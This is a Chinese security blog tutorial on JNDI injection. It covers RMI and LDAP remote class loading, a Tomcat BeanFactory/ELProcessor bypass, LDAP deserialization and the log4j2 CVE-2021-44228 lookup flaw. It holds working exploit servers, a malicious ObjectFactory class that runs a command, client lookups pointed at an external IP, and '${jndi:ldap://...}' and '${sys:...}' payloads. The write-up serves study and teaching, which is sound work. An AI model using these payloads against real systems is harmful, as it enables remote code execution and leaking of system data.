从JNDI到log4j2漏洞
LSE11 发表于 福建 WEB安全 902浏览 · 2024-10-17 02:58

JNDI

首先我们要先了解一下什么是JNDI
JNDI全名(Java Naming and Directory Interface即Java命名和目录接口)

命名服务

命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。

例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:

www.example.com ==> 192.0.2.5
文件系统将文件名映射到程序可用于访问文件内容的文件引用。

c:\bin\autoexec.bat ==> File Reference

目录服务

许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。

目录服务 = 命名服务 + 包含属性的对象

您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。

例如,电话公司的目录服务。它将订阅者的姓名映射到他的地址和电话号码。计算机的目录服务与电话公司的目录服务非常相似,因为两者都可用于存储电话号码和地址等信息。然而,计算机的目录服务要强大得多,因为它可以在线获得,并且可以用来存储用户、程序甚至计算机本身和其他计算机可以使用的各种信息。

directory 对象表示计算环境中的对象。例如,目录对象可用于表示打印机、人员、计算机或网络。directory 对象包含描述它所表示的对象的属性。

JNDI可以用多种服务对,对象进行命名,挂载。

RMI

JNDI使用RMI的方式与很像

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//Server.java
public class JNDIRMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        InitialContext ic = new InitialContext();
    Reference ref = new Reference("EvilObj","EvilObj","http://127.0.0.1:8000");
    ic.rebind("rmi://localhost:1099/EvilObj",ref);
/*        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("RCE",wrapper);*/
    }
}

//Client.java
import org.omg.CORBA.IRObject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext ic= new InitialContext();
        ic.lookup("rmi://localhost:1099/EvilObj");

    }
}

//EvilObjv
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class EvilObj extends UnicastRemoteObject implements ObjectFactory {
    public EvilObj() throws RemoteException {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var2) {
            IOException e = var2;
            e.printStackTrace();
        }

    }

    public String sayHello(String name) throws RemoteException {
        System.out.println("Hello World!");
        return name;
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
//恶意类是需要实现ObjectFactory接口的,即恶意工厂

运行上面的代码就会发现JNDI的客户端加载了服务端上的EvilObj

一路调试会发现其最后弹计算机也就是触发命令执行的地方并不在JNDI这个包下而是进入了NamingManager

最后在loadClass里发现forName来加载类,而forName加载的是本地的类,而本地并没有我们的恶意类。我们继续调试

会发现其判断clas是否为空,codebase是否为空。当我们前面forName加载成功时就不会进入反之。
而后继续远程加载类

最后发现其将加载的类进行了实例化,即会运行恶意类中构造方法中的恶意代码

使用如果一个JNDI其lookup内的url可控,那么我们就就可以让其指向我们的恶意rmi服务器从而使其造成命令执行

Ldap

这个漏洞在爆出来后很快就被官方打了补丁。如下

上面的代码定义了一个系统变量trustURLCodebase。默认为false

上面的代码对trustURLCodebase进行了判断,我们可以发现因为起默认为false,这导致我们无法加载远程的url的类

其补丁将rmi进行了检测导致我们无法利用rmi来进行命令执行,但是其没有对Ldap进行过滤,所有我们还可以使用Ldap来进行命令执行
使用如下代码起一个Ldap加载恶意类的服务

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Ldap {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#EvilObj"};
        int port = 2234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

上面的java代码可以打包成jar包而后放在vps上运行。
而后Client端与之前RMi的相似

//import org.omg.CORBA.IRObject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext ic= new InitialContext();
        //ic.lookup("rmi://111.230.38.159:1099/EvilObj");
        //ic.lookup("rmi://192.168.20.1:1099/EvilObj");
        ic.lookup("ldap://111.230.38.159:2234/EvilObj");
    }
}

成功弹出计算机

调试了一下,发现最终的运行位置与RMi相同。

更高版本的绕过

像Ldap只能绕过8u191之前的JDK我们这里手动调一下

我们可以发现其在远程加载codebase的lodaClass下也加了一个trustURLCodebase这个参数。而这个参数默认肯定是false,即其不允许我们使用远端的codebase来加载工厂

但是其只尝试了对远程加载进行了限制,那么我们就可以尝试使用其本地的类来尝试进行命令执行。

而这个类是要实现了ObjectFactory。

我们在调试的时候就可以发现,每次在调试时都会调用这个getObjectInstance方法。那么我们可以尝试在哪些实现了ObjectFactory接口的getObjectInstance方法里寻找是否存在可以利用的部分

Tomcat9.62

首先在tomcat9.62及其之前下存在一个类实现了ObjectFactory且我们可以利用其反射来进行命令执行。

在此之前我们要先了解一个命令执行的姿势,利用ELProcessor来进行命令执行。
ELProcessor内存在一个eval方法,其会对命令进行反射调用,我这里写个demo

import javax.el.*;
public class DEMO {
    public static void main(String[] args) {
        ELProcessor processor = new ELProcessor();
        processor.eval("Runtime.getRuntime().exec(\"calc\")");

    }
}

我们在eval下打个断点简单调试一下,会发现其最后利用了反射的方法进行了命令执行

我们把视线重新转到实现了ObjectFactory的可利用类下。

这个可以被利用的类就是tomcat的BeanFactory类

最终其会在BeanFactory下的一个反射类调用触发命令执行,而这些参数都是我们可以控制的,接下来我会通过调试攻击过程的方式来,讲述漏洞的触发过程

//Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
    public static void main(String[] args) throws Exception {
        //System.setProperty("java.rmi.server.hostname", "1.94.186.199");//如果要在服务器上允许需要加上这一条代码。
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);//创建一个ResourceRef对象,其传入的Class为javax.el.ELProcessor,工厂为org.apache.naming.factory.BeanFactory
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));//添加RefAddr对象,前一个参数是键值Type。在BeanFactory类内会被取出值
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));//同上
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Tomcat9.62", referenceWrapper);
        System.out.println("Registry运行中......");

    }
}
//Client.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.ObjectFactory;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext ic= new InitialContext();
        ic.lookup("rmi://192.168.20.1:1099/Tomcat9.62");
    }
}

前面实例化工厂的部分与RMI和Ldap的大同小异。

会进入NamingManager下的getObjectInstance来进行实例化

如何得到工厂的类名

再通过forName来加载类

最后实例化得到了工厂

得到工厂后会走到如下代码从而进入BeanFactory的getObjectInstance

其传入的参数ref,就是我们再Server中实例化的ResourceRef类值如下

ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=faster=eval},{type=faster,content=Runtime.getRuntime().exec("calc")}]

而后其通过ref.getClassName()来获取我们ResourceRef类的内部的resourceClass名,即我们在Server中传入的javax.el.ELProcessor。
而后通过类加载其来得到这个类。命名为beanClass

之后将beanClass实例化为bean。
再获取ref内Type为forceString的内容赋值给ra,而forceString的内容为faster=eval。

而后又创建了一个HashMap,变量名为forced。

然后进入一个循环,将ra的getContent取出传入Value,而后将value的内容faster=eval放入数组arr$内。

后面又将数组内的值取出赋值给param,然后截取=前的所有字符赋值为param,之后的赋值为propName
然后将param作为键放入到之前定义的map forced中,其值为一个反射调用,其调用的,beanClass.getMethod(propName, paramTypes),其放射获取的内容就是ELProcessor下的eval方法。

之后进入一个do while循环。这个循环会获取ref中的Type键的值。直到获取到非规定内容的Type的键值对。即其将ra定义为我们的传入的那个StringRefAddr

最终会将propName赋值为我们定义的Type:faster

最后其再从Map中拿出键为faster的值,也就是我们的eval方法。
而其value获取ra的Content,其值就是我们命令执行的代码。Runtime.getRuntime().exec("calc")
最后放射调用的代码其实就是 eval.invoke(bean,'Runtime.getRuntime().exec("calc")')bean也就是ELProcessor的实例。

这样就可以命令执行了

在tomcat的9.62之后的版本里,其将之前的method.invoke(bean,valueArray)直接进行了删除,这就到导致了我们无法在使用之前的方法进行命令执行

原生反序列化

JNDI注入通过Ldap的方法是可以触发反序列的。

前面我写的Ldap高版本的注入的exp是自己搭建的Ldap服务器,但这样太过于麻烦,于是我尝试再网上找项目,于是我便找到了如下项目。
JNDI-Exploit-Bypass-Demo
使用这个项目需要我们自己进行打包
食用方法

mvn package
java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 0.0.0.0 8088 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer  0.0.0.0 8088 1389

这个项目内有个Ldap反序列化触发的java文件我们打打包前要对其进行修改

将其反序列化的payload进行更改,我这里改成了CC1的链

可以看到服务器也显示了请求记录
我们调试一下客户端。

前半部分都相同,而后面其检测了传入值attrs的JAVA_ATTRIBUTES[SERIALIZED_DATA]属性。

而这个JAVA_ATTRIBUTES[SERIALIZED_DATA]得到的就是字符串javaSerializedData

而后会进入deserialzeObject方法

这就是标准的反序列化了。
这样就触发反序列化漏洞。

log4j2

JNDI的成因

在log4j2的2.0-beta9 到 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)版本内存在着JNDI注入的CVE-2021-44228

改漏洞的利用方式很简单。

package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
    private static  final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String username = "${jndi:ldap://111.xxx.xxx.159:389/EvilObj}";
        logger.error("hello {}",username);
    }
}

起一个JNDI服务器然后运行上面的脚本就会发现成功命令执行

log4j2的漏洞主要出现在 org.apache.logging.log4j.core.lookup.StrSubstitutor类上。

这个类会先堆${进行匹配

然后再匹配尾部}
以此来提取内部的值


然后会进入resolveVariable来触发Interpolator的lookup

lookup方法会匹配: 即提取出前面的JNDI。
通过strLookupMap来提取出:前关键词的类。赋值给lookup,然后通过lookup.lookup来调用起地下的lookup
我们寻找这个strLookupMap可以发现如下。

JNDI关键词指向的类就是org.apache.logging.log4j.core.lookup.JndiLookup
所以lookup.lookup会指向JndiLookup.lookup

JndiLookup.lookup下会通过jndiManager.lookup来进行JNDI的加载。
所以这个log4j可以通过${jndi:ldap://xxxx}
就可以进行jndi注入

拓展

在这里我们可以看到map还有指向其他的类。如sys
我们打开其指向的类

我们可以看看到其直接返回了System.getProperty这样我们就可以进行信息探测。如输入的key为java.class.path就可以得到其加载的所有依赖的版本。

package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
    private static  final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {

        String username = "${sys:java.class.path}";
        logger.error("hello {}",username);
    }
}

----------------------------------
10:39:41.693 [main] ERROR log4j.Log4j - hello C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\charsets.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\access-bridge-64.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\cldrdata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\dnsns.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\jaccess.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\localedata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\nashorn.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunec.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunjce_provider.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunmscapi.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunpkcs11.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\zipfs.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jce.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jfr.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jsse.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\management-agent.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\resources.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\rt.jar;C:\Users\24882\Desktop\java-sec\cc\target\classes;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-api\2.14.1\log4j-api-2.14.1.jar;C:\Users\24882\.m2\repository\commons-collections\commons-collections\3.2.1\commons-collections-3.2.1.jar;C:\Users\24882\.m2\repository\org\apache\commons\commons-collections4\4.0\commons-collections4-4.0.jar;C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.1\lib\idea_rt.jar

env也可以进行环境变量的读取登

而这个log4j的漏洞在2.15之后就已经修复了,2.15版本将lookup给禁了,经过在本地尝试像sys,env这种获取敏感信息的方式也无法使用了

1 条评论
某人
表情
可输入 255